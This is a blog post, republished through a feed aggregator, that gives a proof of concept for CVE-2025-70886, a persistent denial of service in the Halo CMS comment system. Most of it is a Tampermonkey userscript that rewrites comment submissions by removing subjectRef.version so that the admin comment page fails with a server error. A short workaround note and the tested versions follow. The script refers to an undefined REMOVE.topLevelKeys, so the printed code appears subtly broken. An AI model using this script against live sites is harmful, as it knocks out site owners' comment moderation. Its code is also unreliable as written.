惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

量子位
Vercel News
Vercel News
Microsoft Azure Blog
Microsoft Azure Blog
爱范儿
爱范儿
N
Netflix TechBlog - Medium
Google DeepMind News
Google DeepMind News
H
Help Net Security
罗磊的独立博客
The Cloudflare Blog
J
Java Code Geeks
博客园 - 叶小钗
I
InfoQ
B
Blog
Blog — PlanetScale
Blog — PlanetScale
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
腾讯CDC
月光博客
月光博客
博客园_首页
雷峰网
雷峰网
M
MIT News - Artificial intelligence
博客园 - 【当耐特】
美团技术团队
T
The Blog of Author Tim Ferriss
博客园 - 司徒正美

皓子的小站

网站字体应用之坑——font-family 篇 糟糕的 meta name="theme-color" How to Automatically Track Newly Supported ESLint Rules in Oxlint How to Gradually Migrate from ESLint to Oxlint (Without Breaking Everything) 静态资源预压缩:零运行时开销,极致节省带宽 自定义网页鼠标指针——一段曲折的旅程 CVE-2025-70886 漏洞复现/PoC | 一个脚本让 Halo CMS 评论后台瘫痪 2025 年终总结 & 博客两周年 老用户专享!已有 Halo 专业版授权可免费升级商业版 自动追踪 Oxlint 对 ESLint 规则的新增支持 Halo 贡献者证书与实体周边盲盒开箱 博客评论系统指南 CDN 回源跟随配置导致登录异常问题排查 SCDN 免费赞助计划:助力高质量博客&博客圈 锐捷校园网:网络共享与带宽叠加方案(哈理工案例) ESLint 到 Oxlint 渐进式迁移快速上手指南 Fixing Vite Breaking Inline JS & CSS in Thymeleaf Templates 解决 Vite 破坏 Thymeleaf 模板内联 JS & CSS 的方法 我的博客,为什么是月更? 博客俱乐部一周年纪念品开箱 网站字体加载之坑——format 篇 经历 1000000000 次 DDoS 请求攻击后,我总结了三条经验 题解分享:[AtCoder Beginner Contest 414 E] Count A%B=C 题解分享:[蓝桥杯 2025 国 Python A] 杨辉三角 P12876 FiF口语训练破解刷分教程(适用于 Windows) 不要与蠢人辩论 小心网络地雷·续篇 当心网络组织“开往”·续篇 当心网络组织“开往” 小心网络地雷
CVE-2025-70886 Proof of Concept (PoC) | A Script to Crash...
HowieHz · 2026-02-06 · via 皓子的小站

简体中文 | English

A Proof of Concept (PoC) exploit for CVE-2025-70886, a persistent denial-of-service vulnerability in Halo CMS (v2.22.4 and earlier) that allows remote attackers to crash the admin comment interface by submitting malformed payloads.

Introduction

While surfing the web, I found Issue #7890 · halo-dev/halo. I thought this issue was submitted on November 1, 2025, and it's now January 4, 2026, so it should have been fixed by now.

Reproduction

With AI assistance, I quickly wrote the following Tampermonkey script for verification:

Click to expand details
// ==UserScript==
// @name         Modify Halo comment payload
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    'use strict';
    console.log('[modify_halo_comment] script started');
    const targetPath = '/apis/api.halo.run/v1alpha1/comments';

    const REMOVE = {
        paths: [
            'subjectRef.version',
        ]
    };

    function deletePath(obj, dottedPath) {
        if (!obj || typeof obj !== 'object') return false;
        const parts = String(dottedPath).split('.').filter(Boolean);
        if (parts.length === 0) return false;

        let current = obj;
        for (let i = 0; i < parts.length - 1; i++) {
            const key = parts[i];
            if (!current || typeof current !== 'object') return false;
            current = current[key];
        }
        if (!current || typeof current !== 'object') return false;
        const lastKey = parts[parts.length - 1];
        if (lastKey in current) {
            delete current[lastKey];
            return true;
        }
        return false;
    }

    function stripFields(obj) {
        let modified = false;

        if (obj && typeof obj === 'object') {
            for (const key of REMOVE.topLevelKeys) {
                if (key in obj) {
                    delete obj[key];
                    modified = true;
                }
            }
            for (const path of REMOVE.paths) {
                if (deletePath(obj, path)) modified = true;
            }
        }

        return modified;
    }

    // --- patch fetch ---
    const _fetch = window.fetch;
    window.fetch = async function (input, init) {
        try {
            const req = (input instanceof Request) ? input : null;
            const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
            let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
            let method = (init && init.method) || (req && req.method) || 'GET';

            if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
                console.log('[modify_halo_comment] intercept', { url, method });
                const serializeBody = async (body) => {
                    if (typeof body === 'string') return body;
                    if (body instanceof Blob) return await body.text();
                    if (body instanceof FormData) return null;
                    if (body && typeof body === 'object') {
                        try { return JSON.stringify(body); } catch (e) { }
                    }
                    return null;
                };

                const tryModify = (rawBody) => {
                    if (!rawBody) return null;
                    try {
                        const obj = JSON.parse(rawBody);
                        const changed = stripFields(obj);
                        if (changed) {
                            const out = JSON.stringify(obj);
                            console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
                            return out;
                        }
                        console.log('[modify_halo_comment] no fields matched; not modified');
                    } catch (e) { }
                    return null;
                };

                if (init && 'body' in init && init.body != null) {
                    const serialized = await serializeBody(init.body);
                    console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
                    const modified = tryModify(serialized);
                    if (modified) {
                        init = Object.assign({}, init, { body: modified });
                        console.log('[modify_halo_comment] removed configured fields (fetch init)');
                    }
                } else if (req) {
                    const cloned = req.clone();
                    const text = await cloned.text();
                    const modified = tryModify(text);
                    if (modified) {
                        const reqInit = {
                            method: req.method,
                            headers: req.headers,
                            body: modified,
                            referrer: req.referrer,
                            referrerPolicy: req.referrerPolicy,
                            mode: req.mode,
                            credentials: req.credentials,
                            cache: req.cache,
                            redirect: req.redirect,
                            integrity: req.integrity,
                            keepalive: req.keepalive,
                            signal: req.signal
                        };
                        input = new Request(req.url, reqInit);
                        console.log('[modify_halo_comment] removed configured fields (fetch Request)');
                    }
                }
            }
        } catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
        return _fetch.call(this, input, init);
    };
})();

After loading the script, I went to any Halo CMS site and posted a comment. After submitting the comment, the backend comment page throws errors, showing an internal server error.

Workaround

The solution is to download the Data Studio plugin to delete the malicious comments.

Environment

Tested on:

  • Halo CMS: v2.22.4
  • Comment Component: v3.0.0

Acknowledgments:
Thanks to 林间拾语 for helping with testing.